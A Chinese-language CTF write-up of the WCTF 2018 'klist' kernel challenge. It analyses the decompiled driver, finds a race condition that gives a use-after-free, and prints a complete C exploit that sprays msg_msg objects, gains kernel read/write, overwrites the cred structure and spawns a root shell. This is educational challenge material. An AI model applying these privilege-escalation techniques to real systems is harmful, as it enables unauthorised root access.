WCTF 2018 klist
196082 慢慢好起来

题目分析

题目实现的功能很容易看出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
__int64 __fastcall list_ioctl(__int64 a1, unsigned int a2, __int64 a3)
{
if ( a2 == 0x1338 )
return select_item(a1, a3);
if ( a2 <= 0x1338 )
{
if ( a2 == 0x1337 )
return add_item(a3);
}
else
{
if ( a2 == 0x1339 )
return remove_item(a3);
if ( a2 == 0x133A )
return list_head(a3);
}
return -22LL;
}

主要实现了对堆块的申请,释放,读写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
__int64 __fastcall add_item(__int64 a1)
{
__int64 v1; // rax
__int64 size; // rdx
__int64 v3; // rsi
__int64 chunk; // rbx
__int64 v5; // rax
__int64 v7[3]; // [rsp+0h] [rbp-18h] BYREF

if ( copy_from_user(v7, a1, 0x10LL) || v7[0] > 0x400uLL )
return -22LL;
v1 = _kmalloc(v7[0] + 0x18, 0x14202C0LL);
size = v7[0];
v3 = v7[1];
*v1 = 1;
chunk = v1;
*(v1 + 8) = size;
if ( copy_from_user(v1 + 0x18, v3, size) )
{
kfree(chunk);
return -22LL;
}
else
{
mutex_lock(&list_lock);
v5 = g_list;
g_list = chunk;
*(chunk + 0x10) = v5;
mutex_unlock(&list_lock);
return 0LL;
}
}

在这里可以分析出申请堆块的参数:

1
2
3
4
5
struct create_chunk_arg
{
unsigned long int size;
char *buf;
};

以及堆块的结构:

1
2
3
4
5
6
struct chunk{
inuse;
size;
prev;
buf;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
__int64 __fastcall remove_item(__int64 a1)
{
__int64 v1; // rax
__int64 v2; // rdx
__int64 v3; // rdi
__int64 v5; // rdi

if ( a1 >= 0 )
{
mutex_lock(&list_lock);
if ( !a1 )
{
v5 = g_list;
if ( g_list )
{
g_list = *(g_list + 16);
put(v5);
mutex_unlock(&list_lock);
return 0LL;
}
goto LABEL_12;
}
v1 = g_list;
if ( a1 != 1 )
{
if ( !g_list )
{
LABEL_12:
mutex_unlock(&list_lock);
return -22LL;
}
v2 = 1LL;
while ( 1 )
{
++v2;
v1 = *(v1 + 16);
if ( a1 == v2 )
break;
if ( !v1 )
goto LABEL_12;
}
}
v3 = *(v1 + 0x10);
if ( v3 )
{
*(v1 + 0x10) = *(v3 + 0x10);
put(v3);
mutex_unlock(&list_lock);
return 0LL;
}
goto LABEL_12;
}
return -22LL;
}

在删除函数可以看出来这里并没有直接kfree来进行删除,而是调用了put函数:

1
2
3
4
5
6
7
8
9
10
11
__int64 __fastcall put(volatile signed __int32 *a1)
{
__int64 result; // rax

if ( a1 )
{
if ( !_InterlockedDecrement(a1) )
return kfree(a1);
}
return result;
}

而这个put函数就是对chunk的inuse位进行减一的操作,如果为0则进行kfree,结合上面的remove函数其中的脱链操作也是没有问题的,不存在UAF

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
__int64 __fastcall select_item(__int64 a1, __int64 a2)
{
__int64 v2; // rbx
__int64 v3; // rax
__int64 *v4; // rbp

mutex_lock(&list_lock);
v2 = g_list;
if ( a2 > 0 )
{
if ( !g_list )
{
LABEL_8:
mutex_unlock(&list_lock);
return -22LL;
}
v3 = 0LL;
while ( 1 )
{
++v3;
v2 = *(v2 + 0x10);
if ( a2 == v3 )
break;
if ( !v2 )
goto LABEL_8;
}
}
if ( !v2 )
return -22LL;
get(v2);
mutex_unlock(&list_lock);
v4 = *(a1 + 0xC8);
mutex_lock(v4 + 1);
put(*v4);
*v4 = v2;
mutex_unlock(v4 + 1);
return 0LL;
}

再看select函数,这一函数实现的功能是选取一个chunk放到(fd+0xc8)位置。

1
2
3
4
5
6
7
8
9
10
11
12
13
unsigned __int64 __fastcall list_head(__int64 a1)
{
__int64 v1; // rbx
unsigned __int64 v2; // rbx

mutex_lock(&list_lock);
get(g_list);
v1 = g_list;
mutex_unlock(&list_lock);
v2 = -(copy_to_user(a1, v1, *(v1 + 8) + 0x18LL) != 0) & 0xFFFFFFFFFFFFFFEALL;
put(g_list);
return v2;
}

list_head函数则是取出chunk内容,这里的size是在create时放在堆块中的size。

漏洞分析

题目中题看上去是没有任何问题的,但是在启动脚本中我们可以看到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/bin/sh

qemu-system-x86_64 \
-enable-kvm \
-cpu kvm64,+smep \
-kernel ./bzImage \
-append "console=ttyS0 root=/dev/ram rw oops=panic panic=1 quiet kaslr" \
-initrd ./rootfs.cpio \
-nographic \
-m 512M \
-smp cores=2,threads=2,sockets=1 \
-monitor /dev/null \
-nographic \
-s

启动了两个核心,虽然程序使用了互斥锁但任存在条件竞争漏洞

在create的入链操作中:

1
2
3
4
5
mutex_lock(&list_lock);
v5 = g_list;
g_list = chunk;
*(chunk + 0x10) = v5;
mutex_unlock(&list_lock);

可以看到这里是首先上锁,然后进行操作

1
2
3
4
5
6
mutex_lock(&list_lock);
get(g_list);
v1 = g_list;
mutex_unlock(&list_lock);
v2 = -(copy_to_user(a1, v1, *(v1 + 8) + 0x18LL) != 0) & 0xFFFFFFFFFFFFFFEALL;
put(g_list);

然而在list_head函数中是在获取了链中的第一个chunk就会释放锁,并且最后会进行put函数,如果我们能够在释放锁之后,put函数之前让create新建的chunk入链则会让新入链的chunk进入put函数,然而新chunk的inuse位为1,所以就会直接free掉,那么此时就存在了UAF的chunk了。

漏洞利用

这里就接着看read和write函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
__int64 __fastcall list_read(__int64 a1, __int64 a2, unsigned __int64 a3)
{
__int64 *v5; // r13
__int64 v6; // rsi
_QWORD *v7; // rdi

v5 = *(a1 + 0xC8);
mutex_lock(v5 + 1);
v6 = *v5;
if ( *v5 )
{
if ( *(v6 + 8) <= a3 )
a3 = *(v6 + 8);
v7 = v5 + 1;
if ( copy_to_user(a2, v6 + 0x18, a3) )
{
mutex_unlock(v7);
return -22LL;
}
else
{
mutex_unlock(v7);
return a3;
}
}
else
{
mutex_unlock(v5 + 1);
return -22LL;
}
}

这里可以看到read函数操作的chunk就是我们在select函数中放到(fd+0xc8)位置的chunk,并且只要我们传入的第三个参数不大于chunk中记录size的位置就可以进行读取

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
__int64 __fastcall list_write(__int64 a1, __int64 a2, unsigned __int64 a3)
{
__int64 *v4; // rbp
__int64 v5; // rdi
__int64 v6; // rax
_QWORD *v7; // rdi

v4 = *(a1 + 0xC8);
mutex_lock(v4 + 1);
v5 = *v4;
if ( *v4 )
{
if ( *(v5 + 8) <= a3 )
a3 = *(v5 + 8);
v6 = copy_from_user(v5 + 0x18, a2, a3);
v7 = v4 + 1;
if ( v6 )
{
mutex_unlock(v7);
return -22LL;
}
else
{
mutex_unlock(v7);
return a3;
}
}
else
{
mutex_unlock(v4 + 1);
return -22LL;
}
}

write函数类似于上面的read函数。

那么我们的思路就是覆盖上面chunk存放size的位置即可了,这样我们就可以实现任意地址写了。那么我们就需要用到堆喷的技术,内核的堆喷我的理解就是申请大量的chunk,那么大概率会一个chunk落在期望的位置上,而这道题目我们期望的位置也就是存在UAF的堆块的位置。这道题因为在init中的限制,这里选择的msgsnd进行堆喷,下面是进行堆喷的使用模板:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#define BUFF_SIZE 96-48

struct {
long mtype;
char mtext[BUFF_SIZE];
} msg;

memset(msg.mtext, 0x42, BUFF_SIZE-1);
msg.mtext[BUFF_SIZE] = 0;
msg.mtype = 1;

int msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT);

msgsnd(msqid, &msg, sizeof(msg.mtext), 0);

在一次msgsnd的过程中会申请一个size为96的chunk,其中前面的48字节为不可控的内容

1
2
3
4
5
6
7
8
struct msg_msg {
struct list_head m_list;
long m_type;
size_t m_ts; /* message text size */
struct msg_msgseg *next;
void *security;
/* the actual message follows immediately */
};

好在msg_msg结构体的前16个字节为两个指针,并且后八位正好落在chunk的size位上,那么如果有一个msg_msg结构体落在了我们的UAF的chunk上我们就可以进行任意地址读写了。接着的思路就是提权,在前两篇的kernel文章中提到了三种提权方式,相比较下使用修改cred结构体的提权方式更为简单,不熟悉的朋友可以去看一下 kernel pwn 任意地址读写提升权限[1] 不过这道题目即便是泄露了地址也无法计算当前chunk的地址与cred结构体的地址的偏移所以没法直接使用以前的方法 这里更好的办法是直接根据uid去寻找cred结构体,因为在上面那片文章cred结构体是通过kmem_cache_alloc创建的。

综上,exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
#include <stdio.h>
#include <sys/prctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <sys/auxv.h>

#include <sys/ipc.h>
#include <sys/msg.h>
#define BUFF_SIZE 96 - 48
/*
struct chunk{
inuse
size
prev
buf
}
*/
struct create_chunk_arg
{
unsigned long int size;
char *buf;
};
struct msg
{
long mtype;
char mtext[BUFF_SIZE];
};

void set_cred_root(char *cred, int len, int id)
{
int i;
for (i = 0; i < len; i += 4)
{
if (*(int *)(cred + i) == id)
*(int *)(cred + i) = 0;
}
}

void print_hex(char *buf, int size)
{
int i;
puts("======================================");
printf("data :\n");
for (i = 0; i < (size / 8); i++)
{
if (i % 2 == 0)
{
printf("%d", i / 2);
}
printf(" %16llx", *(size_t *)(buf + i * 8));
if (i % 2 == 1)
{
printf("\n");
}
}
puts("======================================");
}

int myMemmem(char *a, int alen, char *b, int blen)
{
int i, j;
for (i = 0; i <= alen - blen; ++i)
{
for (j = 0; j < blen; ++j)
{
if (a[i + j] != b[j])
{
break;
}
}
if (j >= blen)
{
return i;
}
}
return -1;
}

int main()
{
struct create_chunk_arg create_arg;
char *buf = malloc(0x200);
int fd;
char *res = malloc(0x1000);
fd = open("/dev/klist", O_RDWR);
if (fd < 0)
{
printf("[-]open file error\n");
exit(-1);
}
memset(buf, 'a', 0x200);
create_arg.size = 96 - 0x18;
create_arg.buf = buf;
ioctl(fd, 0x1337, &create_arg);
if (fork() == 0)
{
for (int i = 0; i < 0x1000; i++)
{
ioctl(fd, 0x1337, &create_arg);
ioctl(fd, 0x133A, res);
if (*(int *)res == 1)
{
printf("[*]get the UAF chunk!\n");
exit(0);
}
}
printf("[-]gg\n");
exit(0);
}
for (int i = 0; i < 0x1500; i++)
{
ioctl(fd, 0x133A, res);
}

if (fork() == 0)
{
for (int i = 0; i < 0x100; i++)
{
struct msg msg;
int i;
memset(msg.mtext, 0x42, BUFF_SIZE - 1);
msg.mtext[BUFF_SIZE] = 0;
msg.mtype = 1;
for (i = 0; i < BUFF_SIZE; i++)
msg.mtext[i] = '\xff';

int msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT);

msgsnd(msqid, &msg, sizeof(msg.mtext), 0);
}
exit(0);
}
sleep(3);

memset(res, 0, 0x1000);
ioctl(fd, 0x1338, 0);
read(fd, res, 0x1000);
if (*(unsigned long int *)res == 0x6161616161616161)
{
puts("[-] cannot realloc the chunk ");
exit(-1);
}
puts("[+] now we can read everywhere");
char *mem = malloc(0x300000);
read(fd, mem, 0x300000);
char cred[0x20];
*(size_t *)cred = 0x000003e800000003;
*(size_t *)(cred + 8) = 0x000003e8000003e8;
*(size_t *)(cred + 0x10) = 0x000003e8000003e8;
*(size_t *)(cred + 0x18) = 0x000003e8000003e8;
int found = myMemmem(mem, 0x300000, cred, 0x20);
if (found == -1)
{
puts("[-]cannot find cred struct !");
exit(-1);
}
char *final = found + mem;
print_hex(final - 0x8, 0xb0);
set_cred_root(final - 0x8, 0x40, 1000);
print_hex(final - 0x8, 0xb0);
write(fd, mem, found + 0xb0);
if (getuid() == 0)
{
printf("[+]now you are r00t,enjoy ur shell\n");
system("/bin/sh");
}
else
{
puts("[-] there must be something error ... ");
exit(-1);
}

return 0;
}

这里就是成功的结果图:

image-20220807171554006

题目我会放在:https://github.com/196082/196082


参考链接:

http://p4nda.top/2018/11/27/wctf-2018-klist/#%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E5%8F%8A%E5%88%A9%E7%94%A8

https://xz.aliyun.com/t/2814

 评论
评论插件加载失败
正在加载评论插件
由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 335.6k 访客数 访问量